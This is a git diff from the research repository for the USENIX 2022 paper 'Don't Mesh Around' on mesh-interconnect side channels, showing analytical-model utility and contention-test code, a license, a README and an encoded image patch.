TileType.CORE) + f6 = Flow(Coord(1,0), Coord(3,0), TileType.SLICE) + + test_function('row-contention-0', is_row_contention, ContentionResult(True, False), f1, f2) # Normal case + test_function('row-contention-1', is_row_contention, ContentionResult(False, False), f2, f1) # no vic priority + test_function('row-contention-2', is_row_contention, ContentionResult(False, False), f1, f3) # diff lane + test_function('row-contention-3', is_row_contention, ContentionResult(False, True), f1, f4) # round-robin + test_function('row-contention-4', is_row_contention, ContentionResult(False, False), f0, f4) # length-zero + test_function('row-contention-5', is_row_contention, ContentionResult(True, False), f6, f5) # mix core and slice + + + ######################################## + # Configs + + ######################################## + # Heatmap test + def heatmap_test(): + for vic_core in [0, 4]: + max_score = 0 + best_rx = None + for rx_core in CORES: + if rx_core == vic_core: + continue # we do not pin to the same core as the victim + for rx_slice in SLICES: + if rx_slice == rx_core: + continue # do not have a length-0 victim + score = 0 + for vic_slice in SLICES: + score += get_config_contention(vic_core, vic_slice, rx_core, rx_slice) + if score > max_score: + max_score = score + best_rx = (rx_core, rx_slice) + + print('Victim Core {:2d}: {}'.format(vic_core, max_score)) + print('Best rx: {}'.format(best_rx)) diff --git a/04-analytical-model/utils.py b/04-analytical-model/utils.py new file mode 100644 index 0000000..4cf1c0d --- /dev/null +++ b/04-analytical-model/utils.py @@ -0,0 +1,101 @@ +from collections import namedtuple +from enum import Enum + +from config import * + +################################## +# Custom types +# Coordinate of a tile on the die (origin in top left) +Coord = namedtuple('Coord', 'x y') +# Flow is fully defined by the source, destination, and destination's TileType +Flow = namedtuple('Flow', 'src dst dst_type') +# get_contention can detect multiple types of contention +ContentionResult = namedtuple('ContentionResult', 'priority roundrobin') + +Direction = Enum('Direction', 'LEFT RIGHT NONE') +FlowType = Enum('FlowType', 'RQ DATA WB') +TileType = Enum('TileType', 'CORE SLICE IMC') + +################################## +# Utility functions +def get_coord(slice_id): + """Returns the coordinate (2D index) of a slice ID within DIE_LAYOUT.""" + for r, row in enumerate(DIE_LAYOUT): + if slice_id in row: + return Coord(row.index(slice_id), r) + print(f'Error: could not find Slice ID {slice_id} in DIE_LAYOUT') + return None + +def print_coord(slice_id): + """Print a Coord tuple using the notation from the paper. + + Note that the x and y coordinates are flipped from their representation in + utils.py + """ + coord = get_coord(slice_id) + return f'({coord.y},{coord.x})' + +def get_dir(src, dst): + """Returns the direction of a flow going from src to dst. + + Vertical flows are treated like horizontal flows that have been rotated + clockwise 90 deg. Thus, a flow going down will get Direction.RIGHT. + This function assumes that coordinates are increasing in one direction and + that src and dst are ints. + """ + + if dst > src: + return Direction.RIGHT + if dst < src: + return Direction.LEFT + return Direction.NONE + +def is_overlapping(a0, a1, b0, b1): + """Returns True if two paths are overlapping on >= 1 link. + + a0 -> a1 is the first flow + b0 -> b1 is the second flow + This function assumes that the flows are colinear. + Note that the two paths must overlap on at least one link. Overlapping on + only one slice is insufficient (e.g. 4->5->6 and 6->7->8 do not overlap). + """ + interval_a = sorted((a0, a1)) + interval_b = sorted((b0, b1)) + return max(interval_a[0], interval_b[0]) < min(interval_a[1], interval_b[1]) + +def get_horz_lane(src_idx, dst_idx, dst_type): + """Returns the lane used for a horizontal flow from src to dst. + + core_idx and slice_idx are x coordinates (horizontal indices). + dst_type is the TileType of the destination. + """ + + if dst_type == TileType.SLICE: + # Core-to-slice flows + lane = HORZ_TO_SLICE_LANES[src_idx][dst_idx] + elif dst_type == TileType.CORE: + # Slice-to-core flows + lane = HORZ_TO_CORE_LANES[dst_idx][src_idx] + else: + raise ValueError('Invalid dst_type') + + assert lane != 'X', 'Requested invalid lane, returned X' + return lane + +def get_vert_lane(src_idx, dst_idx, dst_type): + """Returns the lane used for a vertical flow from src to dst. + + core_idx and slice_idx are y coordinates (vertical indices). + dst_type is the TileType of the destination. + """ + if dst_type == TileType.SLICE: + # Note technically to a slice, but this indicates a rq or wb flow + lane = VERT_TO_SLICE_LANES[src_idx][dst_idx] + elif dst_type == TileType.CORE: + # Slice-to-core flows + lane = VERT_TO_CORE_LANES[dst_idx][src_idx] + else: + raise ValueError('Invalid dst_type') + + assert lane != 'X', 'Requested invalid lane, returned X' + return lane diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..ac974b3 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 MIT Arch-Sec Group + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..908db78 --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +# Don't Mesh Around + +This repository contains the code to reproduce the experiments from [*Don't Mesh Around: Side-Channel Attacks and Mitigations on Mesh Interconnects*](https://www.usenix.org/conference/usenixsecurity22/presentation/dai) **(USENIX 2022)**. + +This code was tested on a bare-metal server with a 24-core Intel Xeon Gold 5220R (Cascade Lake) processor. +Because some details of the attack are specific to each individual processor, some reverse engineering will be needed before the experiments will work on your machine. +Additionally, if you are running on a different processor, additional work may be needed to port the code to your processor. + +## Materials + +This repository contains the following experiments: + +1. `01-noc-reverse-engineering`: this code demonstrates the lane scheduling and priority arbitration policies by reproducing the two case studies discussed in the paper. +2. `02-covert-channel`: this code implements our covert channel and benchmarks its channel capacity. +3. `03-side-channel`: this code demonstrates extracting secrets from vulnerable cryptographic code (ECDSA and RSA). It includes the code used to train the classifier to distinguish between 0 and 1 bits. +4. `04-analytical-model`: this code contains the analytical model we build using the results of our reverse engineering. It also includes steps to validate the model and to support the discussion of our proposed software mitigation. + +## Setup + +There are a few setup steps required to set up the repository before running any experiments. + +### Python Virtual Environment + +In the `dont-mesh-around` directory, set up the virtual environment using `venv`. + +```console +python3 -m venv venv +source venv/bin/activate +pip install -r requirements.txt +deactivate +``` + +## Citation + +```bibtex +@inproceedings {dai2022mesh, + title = {Don't Mesh Around: Side-Channel Attacks and Mitigations on Mesh Interconnects}, + author={Miles Dai and Riccardo Paccagnella and Miguel Gomez-Garcia and John McCalpin and Mengjia Yan}, + booktitle = {Proceedings of the USENIX Security Symposium (USENIX Security)}, + year = {2022}, +} +``` diff --git a/img/ecdsa.png b/img/ecdsa.png new file mode 100644 index 0000000000000000000000000000000000000000..52cf51d68c151c40bd1727c85914b189873ebc3b GIT binary patch literal 63355 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 